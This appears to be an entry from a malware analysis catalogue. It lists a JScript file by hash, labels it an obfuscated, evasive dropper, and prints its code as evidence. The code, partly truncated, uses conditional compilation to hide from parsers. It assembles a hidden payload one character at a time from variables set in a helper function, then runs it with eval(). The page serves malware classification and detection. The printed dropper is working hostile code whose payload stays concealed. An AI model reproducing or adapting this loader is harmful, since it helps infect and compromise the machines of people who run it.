20161006_96984fda5b1816d569cd407e3dc542b4.js
Obfuscated eval-reconstructed payload, evasive JScript dropper
Dense gp token arrayCharacter array using comma tuples
SHA-2562cad3d12c8591f15b021c7243a5558b631ec335bc917982738a73c39bd9a7415
MaleculeK(Li)O₂(As₆S)H₂(DbPo)Md
Evidence
1
2/*@cc_on
3var pn0 = "";
4var tr = 0;
5
6asdffda();
7var cn,fc,vh,zs,jh0,iu,kk,ba,ld,wv,kl,qn,fi,nt,lp,ms,ty,iq,bg,rq,un,wn,rj,af,uu,zx,cy,xu,jp,rg,pm,of,go,dt,xm,lw,au,tq,hx,lg,ak,uq,mr,rp,pu,ql,ti,fh0,ix,ku,rg0,bd,kf,dy,nt0,wt,eg,hv,zl,pn,gl,ny,ac,fv,mc,ju,if0,dz,ll,qw,yy,ns,zj,jh,pj,ij,fh,ne,sh,ae,wz,fg,ju0,sj,qa,ge,et;
8var kb = [("x", ny),("x", ll),("x", fv),("x", dt),("x", nt),("x", sh),("x", au),("x", fv),("x", lg),("x", ne),("x", of),("x", go),("x", ty),("x", cn),("x", lg),("x", lg),("x", lg),("x", lg),("x", ju),("x", fh),("x", mc),("x", lg),("x", fg),("x", kl),("x", tq),("x", sh),("x", et),("x", ll),("x", wv),("x", xm),("x", ny),("x", ll),("x", tq),("x", nt),("x", wv),("x", xm),("x", lg),("x", wt),("x", lg),("x", jp),("x", rg),("x", cy),("x", jp),("x", un),("x", jp),("x", jp),("x", un),("x", jp),("x", dt),("x", jp),("x", un),("x", jp),("x", mc),("x", jp),("x", un),("x", jp),("x", sh),("x", jp),("x", un),("x", jp),("x", fi),("x", nt),("x", jp), …
8:172569… ", dy),("x", fc),("x", cn),("x", fc),("x", cn)];
9do
10{
11 pn0 = pn0['c'+"onca"+"t"](kb[tr]);
12} while (tr++ < (kb["l"+"engt"+"h"]-1));
13eval(pn0);
14@*/
15function asdffda()
16{
17cn=('b', '\x0a');
18fc=('b', '\x0d');
19vh=('b', 'D');
20zs=('b', 'H');
21jh0=('b', 'L');
22iu=('b', 'P');
23kk=('b', 'T');
24ba=('b', 'X');
25ld=('b', '\x09');
26wv=('b', 'd');
⋯11 lines